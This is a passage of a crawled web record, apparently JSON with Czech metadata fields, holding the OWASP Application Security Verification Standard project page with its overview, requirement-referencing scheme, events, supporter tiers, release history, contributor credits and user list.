.`, where: ‘version’ is the ASVS version tag. For example: `v5.0.0-1.2.5` would be understood to mean specifically the 5th requirement in the ‘Injection Prevention’ section of the ‘Encoding and Sanitization’ chapter from version 5.0.0. (This could be summarized as `v-`.)\n\nNote: The `v` preceding the version number in the format should always be lowercase.\n\nIf identifiers are used without including the `v` element then they should be assumed to refer to the latest Application Security Verification Standard content. As the standard grows and changes this becomes problematic, which is why writers or developers should include the version element.\n\nASVS requirement lists are made available in [CSV, JSON, and other formats](https://github.com/OWASP/ASVS) which may be useful for reference or programmatic use.\n\nOWASP Resources:\n\n- [OWASP Top Ten Proactive Controls (2018)](https://top10proactive.owasp.org/)\n- [OWASP Top Ten Risks (2017)](https://owasp.org/Top10/)\n- [OWASP Cheatsheet Series](https://cheatsheetseries.owasp.org/index.html)\n\n---\n\n## Example\n\nPut whatever you like here: news, screenshots, features, supporters, or remove this file and don’t use tabs at all.\n\n---\n\n# Jump to an event\n\n- Meet the ASVS team at Global AppSec San Francisco 2024\n- OWASP ASVS Community Meetup - Lisbon 2024\n\n---\n\n---\n\n# Meet the ASVS team at Global AppSec San Francisco 2024\n\nYou can meet some of the ASVS team and hear about using the ASVS at OWASP Global AppSec San Francisco 2024 happening between 23-27 September.\n\n### Get updated on the ASVS\n\nTwo of our working group, [Shanni Prutchi](https://www.linkedin.com/in/shanni-prutchi/) and [Ryan Armstrong](https://www.linkedin.com/in/ryarmst/) will be delivering a short talk about the ASVS project and the latest developments and plans.\n\nYou can catch them at 14:15 on Friday afternoon in the Bayview A room. Add it to your conference schedule [here](https://sched.co/1lIO2).\n\n(Ryan and Shanni are also doing their own excellent talks at the conference so dont forget to check those out [here](https://sched.co/1g3Wd) and [here](https://sched.co/1g3aZ)!)\n\n### Hear about using the ASVS\n\nShortly afterwards, [Aram Hovsepyan](https://www.linkedin.com/in/aramhovsep/) will be giving a talk about “Maturing Your Application Security Program with ASVS-Driven Development”. In the talk Aram explains how leveraging ASVS for deriving security test cases can create a common theme across all stages of the software development lifecycle.\n\nIf you are interested in how to apply ASVS in your development teams, add it to your conference schedule [here](https://sched.co/1g3ac).\n\n### Engage with the Community\n\nOur new Community Manager [Matthew Aderhold](https://www.linkedin.com/in/matthewaderhold/) will also be at the conference so make sure you catch him to grab some stickers, talk to him about how you are using ASVS and get more information on how you can engage with the ASVS community! He will be there from day 1 of the training so you have plenty of time to catch him!\n\nIf you have contributed to the ASVS, make sure you let him know as he will have some special shiny stickers for contributors!\n\n### We hope to see you there at Global AppSec San Francisco 2024\n\n---\n\n---\n\n# OWASP ASVS Community Meetup - Lisbon 2024\n\nWe held a community meetup for the ASVS project as part of Global AppSec Lisbon on 27th June 2024!\n\nJim Manico gave the opening keynote to reintroduce the ASVS and the background behind the project and we had some other great talks as well!\n\nThere was also an update on the current status of the standard and time allocated to work on the upcoming version 5.0.\n\nYou can see full details in the blog post we published about it: [https://owasp.org/blog/2024/07/03/asvs-community-meetup.html](https://owasp.org/blog/2024/07/03/asvs-community-meetup.html)\n\nAdditionally, we would love to get more community members involved in the ASVS and other than working on the standard we also have information about other volunteering opportunities to help develop and promote the project! See the “[Get Involved](https://appsecg.host/asvsgetinvolved)” tab above!.\n\n## Full Agenda\n\nYou can see the current agenda we had here.\n\n[View the ASVS Community Meetup schedule.](https://owaspglobalappseclisbon2024.sched.com/type/ASVS+Community+Meetup/)\n\n## Meetup Supporter\n\nThanks to our friends at [Jit](https://jit.io) for supporting this exciting initiative!\n\n---\n\n---\n\n---\n\n# ASVS Supporters\n\n## Introduction\n\nWithin the ASVS project, we gratefully recognise the following organizations who support the OWASP Application Security Verification Standard project through monetary donations or allowing contributors to spend significant time working on the standard as part of their work with the organization.\n\nWe recognise various tiers of support and the amount of time the supporter is recognised for depends on the supporter level.\n\nOn this page and the project web page, we will display the supporter’s logo and link to their website and we will publicise via Social Media as well.\n\nIf you would like to directly become a Primary, Secondary or Tertiary supporter, you can make a [donation to OWASP](https://owasp.org/donate/) of $1,000 or more and choose to “restrict your gift”. Alternatively, when you pay your corporate membership you can choose to [allocate part of your membership fee to the ASVS](https://owasp.org/supporters/benefits#corporate-sponsorship-of-participating-projects-or-chapters) where the allocated amount will govern which level of supporter you become.\n\n## Maintaining Supporters (through time provision)\n\nOrganizations who have allowed contributors to spend significant time working on the standard as part of their working day with the organization. This will be evaluated at the sole discretion of the project leaders. Supporter will be listed 2 years from the end of the time provision.\n\n## Primary supporters\n\nOrganizations who have donated $7,000 or more to the project via OWASP. Supporter will be listed in this section for 3 years from the date of the donation.\n\n## Secondary supporters\n\nOrganizations who have donated $3,000 or more to the project via OWASP. Supporter will be listed in this section for 2 years from the date of the donation.\n\n## Tertiary supporters\n\nOrganizations who have donated $500 or more to the project via OWASP. Supporter will be listed in this section for 1 year from the date of the donation.\n\n## Associate supporters\n\nOrganizations who have donated another amount to the project via OWASP. Supporter will be listed in this section for 1 year from the date of the donation.\n\n---\n\n## News and Events\n\n- [30 May 2025] ASVS Version 5.0.0 is released LIVE at Global AppSec EU Barcelona 2025!\n- [31 March 2025] Release Candidate 1 of the ASVS version 5.0 is announced!\n- [04 November 2024] Some of the ASVS team got together at the [OWASP Project Summit](https://web.archive.org/web/20250000000000*/https://owaspprojectsummit.org/) to make major progress on getting towards version 5.0!\n- [01 June 2024] Announcing the first [OWASP ASVS Community Meetup](https://owasp.org/www-project-application-security-verification-standard/#div-meetup) at Global AppSec Lisbon!\n- [22 May 2022] Started recognising [time and financial supporters](https://owasp.org/www-project-application-security-verification-standard/#div-supporters) of the ASVS.\n- [15 May 2022] The [plan and roadmap](https://owasp.org/blog/2022/05/15/asvs-5.0-roadmap.html) towards ASVS version 5.0 was announced!\n- [28 October 2021] [ASVS 4.0.3](https://github.com/OWASP/ASVS/tree/v4.0.3#latest-stable-version---403) released!\n- [27 October 2020] [ASVS 4.0.2](https://github.com/OWASP/ASVS/tree/v4.0.2#latest-stable-version---402) released!\n- [2 March 2019] [ASVS 4.0.1](https://github.com/OWASP/ASVS/tree/v4.0.1/4.0) released!\n- [9 March 2018] [OWASP ASVS 3.1 Spreadsheet](https://docs.google.com/spreadsheets/d/1ic7gsib--Cn4ujrA8rhvzuUmMFpQ2Jkl96SZDCEtqJg/edit?ts=5a6bafe1#gid=950526877) created by August Detlefsen\n- [29 June 2016] Version 3.0.1 released\n- [9 Oct 2015] Version 3.0 released\n- [20 May 2015] “First Cut” Version 3.0 released\n- [11 Aug 2014] Version 2.0 released\n\n---\n\n# Acknowledgements\n\nNote that since 4.x, contributors have been acknowledged in the “Frontispiece” section at the start of the ASVS document itself.\n\nTime and financial supporters are recognised on the “[Supporters](https://owasp.org/www-project-application-security-verification-standard/#div-supporters)” tab.\n\n## Volunteers\n\n### Version 3 (2015)\n\nProject Leaders\n\n- Daniel Cuthbert\n- Andrew van der Stock\n\nLead Author\n\n- Jim Manico\n\nOther reviewers and contributors\n\n- Boy Baukema\n- Ari Kesäniemi\n- Colin Watson\n- François-Eric Guyomarc’h\n- Cristinel Dumitru\n- James Holland\n- Gary Robinson\n- Stephen de Vries\n- Glenn Ten Cate\n- Riccardo Ten Cate\n- Martin Knobloch\n- Abhinav Sejpal\n- David Ryan\n- Steven van der Baan\n- Ryan Dewhurst\n- Raoul Endres\n- Roberto Martelloni\n\n### Version 2 (2014)\n\nProject leaders\n\n- Sahba Kazerooni\n- Daniel Cuthbert\n\nLead authors\n\n- Andrew van der Stock\n- Sahba Kazerooni\n- Daniel Cuthbert\n- Krishna Raja\n\nOther reviewers and contributors\n\n- Jerome Athias\n- Boy Baukema\n- Archangel Cuison\n- Sebastien.Deleersnyder\n- Antonio Fontes\n- Evan Gaustad\n- Safuat Hamdy\n- Ari Kesäniemi\n- Scott Luc\n- Jim Manico\n- Mait Peekma\n- Pekka Sillanpää\n- Jeff Sergeant\n- Etienne Stalmans\n- Colin Watson\n- Dr. Emin İslam Tatlı\n\nTranslators\n\n- Abbas Javan Jafari (Persian)\n- Sajjad Pourali (Persian)\n\n### Version 2009\n\nProject leader\n\n- Mike Boberski\n\nLead authors\n\n- Mike Boberski\n- Jeff Williams\n- Dave Wichers\n\nOther reviewers and contributors\n\nPierre Parrend (OWASP Summer of Code), Andrew van der Stock, Nam Nguyen, John Martin, Gaurang Shah, Theodore Winograd, Stan Wisseman, Barry Boyd, Steve Coyle, Paul Douthit, Ken Huang, Dave Hausladen, Mandeep Khera Scott Matsumoto, John Steven, Stephen de Vries, Dan Cornell, Shouvik Bardhan, Dr. Sarbari Gupta, Eoin Keary, Richard Campbell, Matt Presson, Jeff LoSapio, Liz Fong, George Lawless, Dave van Stein, Terrie Diaz, Ketan Dilipkumar Vyas, Bedirhan Urgun, Dr. Thomas Braun, Colin Watson, Jeremiah Grossman.\n\n## OWASP Summer of Code 2008\n\nThe OWASP Foundation sponsored the OWASP Application Security Verification Standard Project during the OWASP Summer of Code 2008.\n\n---\n\n# Volunteer for the ASVS\n\n## Building the standard\n\nWe are always looking for people to help out with building the standards and discussing what should be in there.\n\nYou can find information on contributing to the standard in the [Contribution Guide](https://github.com/OWASP/ASVS/blob/master/CONTRIBUTING.md).\n\n## Helping in other ways\n\nWe are looking for volunteers to help with the following tasks. We are working on the ASVS all year around and you should expect to have to spend a few hours a week working on your tasks on average. Some of the tasks may be more intensive such as building scripts or GitHub actions.\n\nIf any of these roles sound like a good fit for you, please get in touch! Students and non-tech people are welcome to apply, especially folks in the community who are trying to get into the security space but don’t know how, as being involved in an OWASP project like this can provide valuable experience.\n\nThe latest list of roles is here:\n\n[Public ASVS jobs board](https://docs.google.com/document/d/1VUgbA1xjwRaOL9o8SYQqoGGrFNNobmid_FGS-ELVAzA)\n\nYou can submit your interest here:\n\n[Volunteer for the ASVS!](https://docs.google.com/forms/d/e/1FAIpQLSda9V7dJ6h-YVsVRogi1hJGlhDANZXdUUyk7XQuaPpscKv2Bg/viewform)\n\n---\n\n## ASVS Users\n\n### CREST OWASP Verification Standard (OVS) Programme\n\nThe [CREST OWASP OVS Programme](https://www.crest-approved.org/membership/crest-ovs-programme/) accredits companies that provide app security testing services to the application development industry. The testing to be performed is based on the ASVS (and MASVS) projects.\n\n### App Defense Alliance\n\nThe [App Defense Alliance](https://www.appdefensealliance.org/) has based its [Web App Profile](https://www.appdefensealliance.org/profiles/web-app-profile) on the ASVS project.\n\n### Other users\n\nA broad range of companies and agencies around the globe have added ASVS to their software assurance tool boxes, including:\n\n- [Booz Allen Hamilton](https://www.boozallen.com)\n- [CGI Federal](https://www.cgi.com/us/en-us/federal)\n- [Denim Group](https://denimgroup.com)\n- [Etebaran Informatics](https://etebaran.com)\n- [Inspectiv](https://www.inspectiv.com/) - “We use ASVS in our pen tests in order to have a comprehensive, vendor neutral, guideline for testing the security of applications and websites.”\n- [Minded Security](https://www.mindedsecurity.com)\n- [Nixu](https://www.nixu.com)\n- [NVISO](https://nviso.eu) - “We use the ASVS as a baseline for our Web Application Penetration Tests.”\n- [Pensive Security](https://pensivesecurity.io)\n- [ps_testware](https://www.pstestware.com/)\n- [Proactive Risk](https://www.proactiverisk.com)\n- [Quince Associates Limited (SeeMyData)](https://quince.co.uk)\n- [ReqView](https://www.reqview.com/) - “We use the ASVS as a document template in ReqView requirements management tool and demonstrate its usage in our Example project.”\n- [Serviço Federal de Processamento de Dados (SERPRO)](https://www.serpro.gov.br/)\n- [Universidad Distrital Francisco José de Caldas](https://www.udistrital.edu.co/)\n\nOrganizations listed are not accredited by OWASP. Neither their products or services have been endorsed by OWASP. Use of ASVS may include for example providing verification services using the standard. Use of ASVS may also include for example performing internal evaluation of products with the OWASP ASVS in mind, and NOT making any claims of meeting any given level in the standard. Please let us know how your organization is using OWASP ASVS. Include your name, organization’s name, and brief description of how you use the standard. The project leads can be reached using the contact details on the main page.\n\n---\n\n[Watch](https://github.com/owasp/www-project-application-security-verification-standard/subscription) [Star](https://github.com/owasp/www-project-application-security-verification-standard)", "znaku_textu": 16837, "slov": 2317, "odkazu": 119, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:57:53", "sha256": "6dba248ccfaed4015a43385aaf8c8fa8019d6f0f14e20a7acaae2d71533e9cb2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://creativecommons.org/licenses/by-sa/4.0/", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://twitter.com/OWASP_ASVS", "https://www.linkedin.com/company/owasp-asvs/", "https://appsecg.host/fundasvs", "https://github.com/OWASP/ASVS/tree/v5.0.0", "https://github.com/OWASP/ASVS", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://www.linkedin.com/in/shanni-prutchi/", "https://www.linkedin.com/in/ryarmst/", "https://sched.co/1lIO2", "https://sched.co/1g3Wd", "https://sched.co/1g3aZ", "https://www.linkedin.com/in/aramhovsep/", "https://sched.co/1g3ac", "https://www.linkedin.com/in/matthewaderhold/", "https://appsecg.host/asvsgetinvolved", "https://owaspglobalappseclisbon2024.sched.com/type/ASVS+Community+Meetup/", "https://jit.io/", "https://www.jit.io/", "https://www.clarifiedsecurity.com/", "https://www.bouncesecurity.com/", "https://www.manicode.com/", "https://web.archive.org/web/20250000000000*/https://owaspprojectsummit.org/", "https://github.com/OWASP/ASVS/tree/v4.0.3", "https://github.com/OWASP/ASVS/tree/v4.0.2", "https://github.com/OWASP/ASVS/tree/v4.0.1/4.0", "https://docs.google.com/spreadsheets/d/1ic7gsib--Cn4ujrA8rhvzuUmMFpQ2Jkl96SZDCEtqJg/edit?ts=5a6bafe1", "https://github.com/OWASP/ASVS/blob/master/CONTRIBUTING.md", "https://docs.google.com/document/d/1VUgbA1xjwRaOL9o8SYQqoGGrFNNobmid_FGS-ELVAzA", "https://docs.google.com/forms/d/e/1FAIpQLSda9V7dJ6h-YVsVRogi1hJGlhDANZXdUUyk7XQuaPpscKv2Bg/viewform", "https://www.crest-approved.org/membership/crest-ovs-programme/", "https://www.appdefensealliance.org/", "https://www.appdefensealliance.org/profiles/web-app-profile", "https://www.boozallen.com/", "https://www.cgi.com/us/en-us/federal", "https://denimgroup.com/", "https://etebaran.com/", "https://www.inspectiv.com/", "https://www.mindedsecurity.com/", "https://www.nixu.com/", "https://nviso.eu/", "https://pensivesecurity.io/", "https://www.pstestware.com/", "https://www.proactiverisk.com/", "https://quince.co.uk/", "https://www.reqview.com/", "https://www.serpro.gov.br/", "https://www.udistrital.edu.co/", "https://github.com/owasp/www-project-application-security-verification-standard/subscription", "https://github.com/owasp/www-project-application-security-verification-standard", "https://github.com/OWASP/ASVS/tree/v5.0.0/5.0", "https://github.com/OWASP/ASVS/tree/master/5.0", "https://github.com/OWASP/ASVS/tree/v4.0.3/4.0", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/docs_en/OWASP_Application_Security_Verification_Standard_5.0.0_en.docx", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/docs_en/OWASP_Application_Security_Verification_Standard_5.0.0_en.csv", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_tr.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_ru.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_fr.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_ko.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_pt.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_id.pdf", "https://github.com/OWASP/ASVS/blob/master/4.0/TRANSLATIONS.md", "https://www.linkedin.com/in/hugo75costa/", "https://github.com/OWASP/www-project-application-security-verification-standard/tree/master/brand/", "https://github.com/EnigmaRosa", "https://github.com/csfreak92", "https://github.com/meghanjacquot", "https://github.com/ImanSharaf", "https://github.com/ryarmst", "https://github.com/randomstuff", "https://github.com/TobiasAhnoff", "https://github.com/cronchie", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-application-security-verification-standard/", "titulek": "OWASP Application Security Verification Standard (ASVS) | OWASP Foundation", "h1": "OWASP Application Security Verification Standard (ASVS)", "popis": "The OWASP Application Security Verification Standard (ASVS) Project is a framework of security requirements that focus on defining the security controls required when designing, developing and testing modern web applications and web services.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-application-security-verification-standard/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The OWASP Application Security Verification Standard (ASVS) Project is a framework of security requirements that focus on defining the security controls required when designing, developing and testing modern web applications and web services.", "og:title": "OWASP Application Security Verification Standard (ASVS) | OWASP Foundation", "og:url": "https://owasp.org/www-project-application-security-verification-standard/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Application Security Verification Standard (ASVS)"}, {"uroven": 2, "text": "What is the ASVS?"}, {"uroven": 2, "text": "Support the ASVS"}, {"uroven": 2, "text": "Stay up to date with the ASVS"}, {"uroven": 2, "text": "More Details on the ASVS"}, {"uroven": 2, "text": "How To Reference ASVS Requirements"}, {"uroven": 2, "text": "Example"}, {"uroven": 1, "text": "Jump to an event"}, {"uroven": 1, "text": "Meet the ASVS team at Global AppSec San Francisco 2024"}, {"uroven": 3, "text": "Get updated on the ASVS"}, {"uroven": 3, "text": "Hear about using the ASVS"}, {"uroven": 3, "text": "Engage with the Community"}, {"uroven": 3, "text": "We hope to see you there at Global AppSec San Francisco 2024"}, {"uroven": 1, "text": "OWASP ASVS Community Meetup - Lisbon 2024"}, {"uroven": 2, "text": "Full Agenda"}, {"uroven": 2, "text": "Meetup Supporter"}, {"uroven": 1, "text": "ASVS Supporters"}, {"uroven": 2, "text": "Introduction"}, {"uroven": 2, "text": "Maintaining Supporters (through time provision)"}, {"uroven": 2, "text": "Primary supporters"}, {"uroven": 2, "text": "Secondary supporters"}, {"uroven": 2, "text": "Tertiary supporters"}, {"uroven": 2, "text": "Associate supporters"}, {"uroven": 2, "text": "News and Events"}, {"uroven": 1, "text": "Acknowledgements"}, {"uroven": 2, "text": "Volunteers"}, {"uroven": 3, "text": "Version 3 (2015)"}, {"uroven": 3, "text": "Version 2 (2014)"}, {"uroven": 3, "text": "Version 2009"}, {"uroven": 2, "text": "OWASP Summer of Code 2008"}, {"uroven": 1, "text": "Volunteer for the ASVS"}, {"uroven": 2, "text": "Building the standard"}, {"uroven": 2, "text": "Helping in other ways"}, {"uroven": 2, "text": "ASVS Users"}, {"uroven": 3, "text": "CREST OWASP Verification Standard (OVS) Programme"}, {"uroven": 3, "text": "App Defense Alliance"}, {"uroven": 3, "text": "Other users"}], "markdown": "# OWASP Application Security Verification Standard (ASVS)\n\n## What is the ASVS?\n\nThe OWASP Application Security Verification Standard (ASVS) Project provides a basis for testing web application technical security controls and also provides developers with a list of requirements for secure development.\n\n## Support the ASVS\n\nFor more details on how to financially support the ASVS, see our [Supporters Page](https://appsecg.host/fundasvs).\n\n## Stay up to date with the ASVS\n\nFollow us on social media to ensure you don’t miss updates about the ASVS:\n\n## More Details on the ASVS\n\nThe primary aim of the **OWASP Application Security Verification Standard (ASVS) Project** is to normalize the range in the coverage and level of rigor available in the market when it comes to performing Web application security verification using a commercially-workable open standard. The standard provides a basis for testing application technical security controls, as well as any technical security controls in the environment, that are relied on to protect against vulnerabilities such as Cross-Site Scripting (XSS) and SQL injection. This standard can be used to establish a level of confidence in the security of Web applications. The requirements were developed with the following objectives in mind:\n\n- **Use as a metric** - Provide application developers and application owners with a yardstick with which to assess the degree of trust that can be placed in their Web applications,\n- **Use as guidance** - Provide guidance to security control developers as to what to build into security controls in order to satisfy application security requirements, and\n- **Use during procurement** - Provide a basis for specifying application security verification requirements in contracts.\n\nGet the latest stable version of the ASVS (5.0.0) from the [Downloads](https://github.com/OWASP/ASVS/tree/v5.0.0#latest-stable-version---500) page.\n\n## How To Reference ASVS Requirements\n\nEach requirement has an identifier in the format `.
.`, where each element is a number. For example, `1.11.3`.\n\n- The `` value corresponds to the chapter from which the requirement comes; for example, all `1.#.#` requirements are from the ‘Encoding and Sanitization’ chapter.\n- The `
` value corresponds to the section within that chapter where the requirement appears, for example: all `1.2.#` requirements are in the ‘Injection Prevention’ section of the ‘Encoding and Sanitization’ chapter.\n- The `` value identifies the specific requirement within the chapter and section, for example, `1.2.5` which as of version 5.0.0 of this standard is:\n\n> Verify that the application protects against OS command injection and that operating system calls use parameterized OS queries or use contextual command line output encoding.\n\nSince the identifiers may change between versions of the standard, it is preferable for other documents, reports, or tools to use the following format: `v-.
.`, where: ‘version’ is the ASVS version tag. For example: `v5.0.0-1.2.5` would be understood to mean specifically the 5th requirement in the ‘Injection Prevention’ section of the ‘Encoding and Sanitization’ chapter from version 5.0.0. (This could be summarized as `v-`.)\n\nNote: The `v` preceding the version number in the format should always be lowercase.\n\nIf identifiers are used without including the `v` element then they should be assumed to refer to the latest Application Security Verification Standard content. As the standard grows and changes this becomes problematic, which is why writers or developers should include the version element.\n\nASVS requirement lists are made available in [CSV, JSON, and other formats](https://github.com/OWASP/ASVS) which may be useful for reference or programmatic use.\n\nOWASP Resources:\n\n- [OWASP Top Ten Proactive Controls (2018)](https://top10proactive.owasp.org/)\n- [OWASP Top Ten Risks (2017)](https://owasp.org/Top10/)\n- [OWASP Cheatsheet Series](https://cheatsheetseries.owasp.org/index.html)\n\n---\n\n## Example\n\nPut whatever you like here: news, screenshots, features, supporters, or remove this file and don’t use tabs at all.\n\n---\n\n# Jump to an event\n\n- Meet the ASVS team at Global AppSec San Francisco 2024\n- OWASP ASVS Community Meetup - Lisbon 2024\n\n---\n\n---\n\n# Meet the ASVS team at Global AppSec San Francisco 2024\n\nYou can meet some of the ASVS team and hear about using the ASVS at OWASP Global AppSec San Francisco 2024 happening between 23-27 September.\n\n### Get updated on the ASVS\n\nTwo of our working group, [Shanni Prutchi](https://www.linkedin.com/in/shanni-prutchi/) and [Ryan Armstrong](https://www.linkedin.com/in/ryarmst/) will be delivering a short talk about the ASVS project and the latest developments and plans.\n\nYou can catch them at 14:15 on Friday afternoon in the Bayview A room. Add it to your conference schedule [here](https://sched.co/1lIO2).\n\n(Ryan and Shanni are also doing their own excellent talks at the conference so dont forget to check those out [here](https://sched.co/1g3Wd) and [here](https://sched.co/1g3aZ)!)\n\n### Hear about using the ASVS\n\nShortly afterwards, [Aram Hovsepyan](https://www.linkedin.com/in/aramhovsep/) will be giving a talk about “Maturing Your Application Security Program with ASVS-Driven Development”. In the talk Aram explains how leveraging ASVS for deriving security test cases can create a common theme across all stages of the software development lifecycle.\n\nIf you are interested in how to apply ASVS in your development teams, add it to your conference schedule [here](https://sched.co/1g3ac).\n\n### Engage with the Community\n\nOur new Community Manager [Matthew Aderhold](https://www.linkedin.com/in/matthewaderhold/) will also be at the conference so make sure you catch him to grab some stickers, talk to him about how you are using ASVS and get more information on how you can engage with the ASVS community! He will be there from day 1 of the training so you have plenty of time to catch him!\n\nIf you have contributed to the ASVS, make sure you let him know as he will have some special shiny stickers for contributors!\n\n### We hope to see you there at Global AppSec San Francisco 2024\n\n---\n\n---\n\n# OWASP ASVS Community Meetup - Lisbon 2024\n\nWe held a community meetup for the ASVS project as part of Global AppSec Lisbon on 27th June 2024!\n\nJim Manico gave the opening keynote to reintroduce the ASVS and the background behind the project and we had some other great talks as well!\n\nThere was also an update on the current status of the standard and time allocated to work on the upcoming version 5.0.\n\nYou can see full details in the blog post we published about it: [https://owasp.org/blog/2024/07/03/asvs-community-meetup.html](https://owasp.org/blog/2024/07/03/asvs-community-meetup.html)\n\nAdditionally, we would love to get more community members involved in the ASVS and other than working on the standard we also have information about other volunteering opportunities to help develop and promote the project! See the “[Get Involved](https://appsecg.host/asvsgetinvolved)” tab above!.\n\n## Full Agenda\n\nYou can see the current agenda we had here.\n\n[View the ASVS Community Meetup schedule.](https://owaspglobalappseclisbon2024.sched.com/type/ASVS+Community+Meetup/)\n\n## Meetup Supporter\n\nThanks to our friends at [Jit](https://jit.io) for supporting this exciting initiative!\n\n---\n\n---\n\n---\n\n# ASVS Supporters\n\n## Introduction\n\nWithin the ASVS project, we gratefully recognise the following organizations who support the OWASP Application Security Verification Standard project through monetary donations or allowing contributors to spend significant time working on the standard as part of their work with the organization.\n\nWe recognise various tiers of support and the amount of time the supporter is recognised for depends on the supporter level.\n\nOn this page and the project web page, we will display the supporter’s logo and link to their website and we will publicise via Social Media as well.\n\nIf you would like to directly become a Primary, Secondary or Tertiary supporter, you can make a [donation to OWASP](https://owasp.org/donate/) of $1,000 or more and choose to “restrict your gift”. Alternatively, when you pay your corporate membership you can choose to [allocate part of your membership fee to the ASVS](https://owasp.org/supporters/benefits#corporate-sponsorship-of-participating-projects-or-chapters) where the allocated amount will govern which level of supporter you become.\n\n## Maintaining Supporters (through time provision)\n\nOrganizations who have allowed contributors to spend significant time working on the standard as part of their working day with the organization. This will be evaluated at the sole discretion of the project leaders. Supporter will be listed 2 years from the end of the time provision.\n\n## Primary supporters\n\nOrganizations who have donated $7,000 or more to the project via OWASP. Supporter will be listed in this section for 3 years from the date of the donation.\n\n## Secondary supporters\n\nOrganizations who have donated $3,000 or more to the project via OWASP. Supporter will be listed in this section for 2 years from the date of the donation.\n\n## Tertiary supporters\n\nOrganizations who have donated $500 or more to the project via OWASP. Supporter will be listed in this section for 1 year from the date of the donation.\n\n## Associate supporters\n\nOrganizations who have donated another amount to the project via OWASP. Supporter will be listed in this section for 1 year from the date of the donation.\n\n---\n\n## News and Events\n\n- [30 May 2025] ASVS Version 5.0.0 is released LIVE at Global AppSec EU Barcelona 2025!\n- [31 March 2025] Release Candidate 1 of the ASVS version 5.0 is announced!\n- [04 November 2024] Some of the ASVS team got together at the [OWASP Project Summit](https://web.archive.org/web/20250000000000*/https://owaspprojectsummit.org/) to make major progress on getting towards version 5.0!\n- [01 June 2024] Announcing the first [OWASP ASVS Community Meetup](https://owasp.org/www-project-application-security-verification-standard/#div-meetup) at Global AppSec Lisbon!\n- [22 May 2022] Started recognising [time and financial supporters](https://owasp.org/www-project-application-security-verification-standard/#div-supporters) of the ASVS.\n- [15 May 2022] The [plan and roadmap](https://owasp.org/blog/2022/05/15/asvs-5.0-roadmap.html) towards ASVS version 5.0 was announced!\n- [28 October 2021] [ASVS 4.0.3](https://github.com/OWASP/ASVS/tree/v4.0.3#latest-stable-version---403) released!\n- [27 October 2020] [ASVS 4.0.2](https://github.com/OWASP/ASVS/tree/v4.0.2#latest-stable-version---402) released!\n- [2 March 2019] [ASVS 4.0.1](https://github.com/OWASP/ASVS/tree/v4.0.1/4.0) released!\n- [9 March 2018] [OWASP ASVS 3.1 Spreadsheet](https://docs.google.com/spreadsheets/d/1ic7gsib--Cn4ujrA8rhvzuUmMFpQ2Jkl96SZDCEtqJg/edit?ts=5a6bafe1#gid=950526877) created by August Detlefsen\n- [29 June 2016] Version 3.0.1 released\n- [9 Oct 2015] Version 3.0 released\n- [20 May 2015] “First Cut” Version 3.0 released\n- [11 Aug 2014] Version 2.0 released\n\n---\n\n# Acknowledgements\n\nNote that since 4.x, contributors have been acknowledged in the “Frontispiece” section at the start of the ASVS document itself.\n\nTime and financial supporters are recognised on the “[Supporters](https://owasp.org/www-project-application-security-verification-standard/#div-supporters)” tab.\n\n## Volunteers\n\n### Version 3 (2015)\n\nProject Leaders\n\n- Daniel Cuthbert\n- Andrew van der Stock\n\nLead Author\n\n- Jim Manico\n\nOther reviewers and contributors\n\n- Boy Baukema\n- Ari Kesäniemi\n- Colin Watson\n- François-Eric Guyomarc’h\n- Cristinel Dumitru\n- James Holland\n- Gary Robinson\n- Stephen de Vries\n- Glenn Ten Cate\n- Riccardo Ten Cate\n- Martin Knobloch\n- Abhinav Sejpal\n- David Ryan\n- Steven van der Baan\n- Ryan Dewhurst\n- Raoul Endres\n- Roberto Martelloni\n\n### Version 2 (2014)\n\nProject leaders\n\n- Sahba Kazerooni\n- Daniel Cuthbert\n\nLead authors\n\n- Andrew van der Stock\n- Sahba Kazerooni\n- Daniel Cuthbert\n- Krishna Raja\n\nOther reviewers and contributors\n\n- Jerome Athias\n- Boy Baukema\n- Archangel Cuison\n- Sebastien.Deleersnyder\n- Antonio Fontes\n- Evan Gaustad\n- Safuat Hamdy\n- Ari Kesäniemi\n- Scott Luc\n- Jim Manico\n- Mait Peekma\n- Pekka Sillanpää\n- Jeff Sergeant\n- Etienne Stalmans\n- Colin Watson\n- Dr. Emin İslam Tatlı\n\nTranslators\n\n- Abbas Javan Jafari (Persian)\n- Sajjad Pourali (Persian)\n\n### Version 2009\n\nProject leader\n\n- Mike Boberski\n\nLead authors\n\n- Mike Boberski\n- Jeff Williams\n- Dave Wichers\n\nOther reviewers and contributors\n\nPierre Parrend (OWASP Summer of Code), Andrew van der Stock, Nam Nguyen, John Martin, Gaurang Shah, Theodore Winograd, Stan Wisseman, Barry Boyd, Steve Coyle, Paul Douthit, Ken Huang, Dave Hausladen, Mandeep Khera Scott Matsumoto, John Steven, Stephen de Vries, Dan 